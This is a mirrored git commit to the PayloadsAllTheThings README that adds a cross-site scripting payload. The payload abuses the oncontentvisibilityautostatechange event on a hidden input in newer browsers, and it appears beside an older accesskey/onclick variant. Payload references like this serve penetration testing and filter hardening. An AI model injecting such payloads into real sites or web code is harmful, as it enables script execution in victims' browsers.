mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2025-12-12 15:49:38 -08:00
Update README.md
addedd contentvisibilityautostatechange_event for hidden input
This commit is contained in:
@@ -295,6 +295,10 @@ e.g: 14.rs/#alert(document.domain)
|
|||||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||||
Use CTRL+SHIFT+X to trigger the onclick event
|
Use CTRL+SHIFT+X to trigger the onclick event
|
||||||
```
|
```
|
||||||
|
in newer browsers : firefox-130/chrome-108
|
||||||
|
```javascript
|
||||||
|
<input type="hidden" oncontentvisibilityautostatechange="alert(1)" style="content-visibility:auto" >
|
||||||
|
```
|
||||||
|
|
||||||
### XSS when payload is reflected capitalized
|
### XSS when payload is reflected capitalized
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user